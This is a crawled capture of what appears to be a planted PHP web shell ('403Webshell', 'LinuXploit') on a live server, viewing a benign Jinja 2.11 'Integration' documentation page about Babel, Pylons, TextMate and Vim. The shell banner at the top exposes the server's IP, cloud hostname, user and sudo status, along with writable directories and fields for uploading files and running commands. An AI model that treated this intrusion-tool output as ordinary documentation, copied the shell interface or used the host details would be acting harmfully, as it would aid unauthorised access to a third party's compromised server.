403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/doc/python3-jinja2/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/python3-jinja2/html/integration.html
<!DOCTYPE html>

<html>
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Integration &#8212; Jinja Documentation (2.11.x)</title>
    <link rel="stylesheet" href="_static/pygments.css" type="text/css" />
    <link rel="stylesheet" href="_static/jinja.css" type="text/css" />
    <script id="documentation_options" data-url_root="./" src="_static/documentation_options.js"></script>
    <script src="_static/jquery.js"></script>
    <script src="_static/underscore.js"></script>
    <script src="_static/doctools.js"></script>
    <link rel="shortcut icon" href="_static/jinja-logo-sidebar.png"/>
    <link rel="index" title="Index" href="genindex.html" />
    <link rel="search" title="Search" href="search.html" />
    <link rel="next" title="Switching from other Template Engines" href="switching.html" />
    <link rel="prev" title="Extensions" href="extensions.html" />
  <script>DOCUMENTATION_OPTIONS.URL_ROOT = './';</script>
   
  </head><body>
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="genindex.html" title="General Index"
             accesskey="I">index</a></li>
        <li class="right" >
          <a href="py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="switching.html" title="Switching from other Template Engines"
             accesskey="N">next</a> |</li>
        <li class="right" >
          <a href="extensions.html" title="Extensions"
             accesskey="P">previous</a> |</li>
        <li class="nav-item nav-item-0"><a href="index.html">Jinja Documentation (2.11.x)</a> &#187;</li>
        <li class="nav-item nav-item-this"><a href="">Integration</a></li> 
      </ul>
    </div>  

    <div class="document">
      <div class="documentwrapper">
        <div class="bodywrapper">
          <div class="body" role="main">
            
  <div class="section" id="integration">
<h1>Integration<a class="headerlink" href="#integration" title="Permalink to this headline">¶</a></h1>
<p>Jinja provides some code for integration into other tools such as frameworks,
the <a class="reference external" href="http://babel.pocoo.org/">Babel</a> library or your favourite editor for fancy code highlighting.
This is a brief description of whats included.</p>
<p>Files to help integration are available
<a class="reference external" href="https://github.com/pallets/jinja/tree/master/ext">here.</a></p>
<div class="section" id="babel-integration">
<span id="id1"></span><h2>Babel Integration<a class="headerlink" href="#babel-integration" title="Permalink to this headline">¶</a></h2>
<p>Jinja provides support for extracting gettext messages from templates via a
<a class="reference external" href="http://babel.pocoo.org/">Babel</a> extractor entry point called <cite>jinja2.ext.babel_extract</cite>.  The Babel
support is implemented as part of the <a class="reference internal" href="extensions.html#i18n-extension"><span class="std std-ref">i18n Extension</span></a> extension.</p>
<p>Gettext messages extracted from both <cite>trans</cite> tags and code expressions.</p>
<p>To extract gettext messages from templates, the project needs a Jinja section
in its Babel extraction method <a class="reference external" href="http://babel.pocoo.org/en/latest/messages.html#extraction-method-mapping-and-configuration">mapping file</a>:</p>
<div class="highlight-ini notranslate"><div class="highlight"><pre><span></span><span class="k">[jinja2: **/templates/**.html]</span>
<span class="na">encoding</span> <span class="o">=</span> <span class="s">utf-8</span>
</pre></div>
</div>
<p>The syntax related options of the <code class="xref py py-class docutils literal notranslate"><span class="pre">Environment</span></code> are also available as
configuration values in the mapping file.  For example to tell the extraction
that templates use <code class="docutils literal notranslate"><span class="pre">%</span></code> as <cite>line_statement_prefix</cite> you can use this code:</p>
<div class="highlight-ini notranslate"><div class="highlight"><pre><span></span><span class="k">[jinja2: **/templates/**.html]</span>
<span class="na">encoding</span> <span class="o">=</span> <span class="s">utf-8</span>
<span class="na">line_statement_prefix</span> <span class="o">=</span> <span class="s">%</span>
</pre></div>
</div>
<p><a class="reference internal" href="extensions.html#jinja-extensions"><span class="std std-ref">Extensions</span></a> may also be defined by passing a comma separated list
of import paths as <cite>extensions</cite> value.  The i18n extension is added
automatically.</p>
<details class="changelog">
<summary>Changelog</summary><div class="versionchanged">
<p><span class="versionmodified changed">Changed in version 2.7: </span>Until 2.7 template syntax errors were always ignored.  This was done
since many people are dropping non template html files into the
templates folder and it would randomly fail.  The assumption was that
testsuites will catch syntax errors in templates anyways.  If you don’t
want that behavior you can add <code class="docutils literal notranslate"><span class="pre">silent=false</span></code> to the settings and
exceptions are propagated.</p>
</div>
</details></div>
<div class="section" id="pylons">
<h2>Pylons<a class="headerlink" href="#pylons" title="Permalink to this headline">¶</a></h2>
<p>With <a class="reference external" href="https://pylonshq.com/">Pylons</a> 0.9.7 onwards it’s incredible easy to integrate Jinja into a
Pylons powered application.</p>
<p>The template engine is configured in <cite>config/environment.py</cite>.  The configuration
for Jinja looks something like that:</p>
<div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">jinja2</span> <span class="kn">import</span> <span class="n">Environment</span><span class="p">,</span> <span class="n">PackageLoader</span>
<span class="n">config</span><span class="p">[</span><span class="s1">&#39;pylons.app_globals&#39;</span><span class="p">]</span><span class="o">.</span><span class="n">jinja_env</span> <span class="o">=</span> <span class="n">Environment</span><span class="p">(</span>
    <span class="n">loader</span><span class="o">=</span><span class="n">PackageLoader</span><span class="p">(</span><span class="s1">&#39;yourapplication&#39;</span><span class="p">,</span> <span class="s1">&#39;templates&#39;</span><span class="p">)</span>
<span class="p">)</span>
</pre></div>
</div>
<p>After that you can render Jinja templates by using the <cite>render_jinja</cite> function
from the <cite>pylons.templating</cite> module.</p>
<p>Additionally it’s a good idea to set the Pylons’ <cite>c</cite> object into strict mode.
Per default any attribute to not existing attributes on the <cite>c</cite> object return
an empty string and not an undefined object.  To change this just use this
snippet and add it into your <cite>config/environment.py</cite>:</p>
<div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="n">config</span><span class="p">[</span><span class="s1">&#39;pylons.strict_c&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="kc">True</span>
</pre></div>
</div>
</div>
<div class="section" id="textmate">
<h2>TextMate<a class="headerlink" href="#textmate" title="Permalink to this headline">¶</a></h2>
<p>There is a <a class="reference external" href="https://github.com/mitsuhiko/jinja2-tmbundle">bundle for TextMate</a> that supports syntax highlighting for Jinja 1
and Jinja 2 for text based templates as well as HTML. It also contains a few
often used snippets.</p>
</div>
<div class="section" id="vim">
<h2>Vim<a class="headerlink" href="#vim" title="Permalink to this headline">¶</a></h2>
<p>A syntax plugin for <a class="reference external" href="https://www.vim.org/">Vim</a> is available <a class="reference external" href="https://github.com/pallets/jinja/blob/master/ext/Vim/jinja.vim">from the jinja repository</a>. The script
supports Jinja 1 and Jinja 2. Once installed, two file types are available
(<code class="docutils literal notranslate"><span class="pre">jinja</span></code> and <code class="docutils literal notranslate"><span class="pre">htmljinja</span></code>). The first one is for text-based templates and the
second is for HTML templates. For HTML documents, the plugin attempts to
automatically detect Jinja syntax inside of existing HTML documents.</p>
<p>If you are using a plugin manager like <a class="reference external" href="https://github.com/tpope/vim-pathogen">Pathogen</a>, see the <a class="reference external" href="https://github.com/mitsuhiko/vim-jinja">vim-jinja</a> repository for installing in the
<code class="docutils literal notranslate"><span class="pre">bundle/</span></code> directory.</p>
</div>
</div>


            <div class="clearer"></div>
          </div>
        </div>
      </div>
  <span id="sidebar-top"></span>
      <div class="sphinxsidebar" role="navigation" aria-label="main navigation">
        <div class="sphinxsidebarwrapper">
  
    
            <p class="logo"><a href="index.html">
              <img class="logo" src="_static/jinja-logo-sidebar.png" alt="Logo"/>
            </a></p>
  

  <h3>Contents</h3>
  <ul>
<li><a class="reference internal" href="#">Integration</a><ul>
<li><a class="reference internal" href="#babel-integration">Babel Integration</a></li>
<li><a class="reference internal" href="#pylons">Pylons</a></li>
<li><a class="reference internal" href="#textmate">TextMate</a></li>
<li><a class="reference internal" href="#vim">Vim</a></li>
</ul>
</li>
</ul>
<h3>Navigation</h3>
<ul>
  <li><a href="index.html">Overview</a>
    <ul>
          <li>Previous: <a href="extensions.html" title="previous chapter">Extensions</a>
          <li>Next: <a href="switching.html" title="next chapter">Switching from other Template Engines</a>
    </ul>
  </li>
</ul>
<div id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" />
      <input type="submit" value="Go" />
    </form>
    </div>
</div>
<script>$('#searchbox').show(0);</script>
        </div>
      </div>
      <div class="clearer"></div>
    </div>
  
    <div class="footer" role="contentinfo">
        &#169; Copyright 2025 Pallets.
      Created using <a href="https://www.sphinx-doc.org/">Sphinx</a> 3.4.3.
    </div>
  <script src="_static/version_warning_offset.js"></script>

  </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit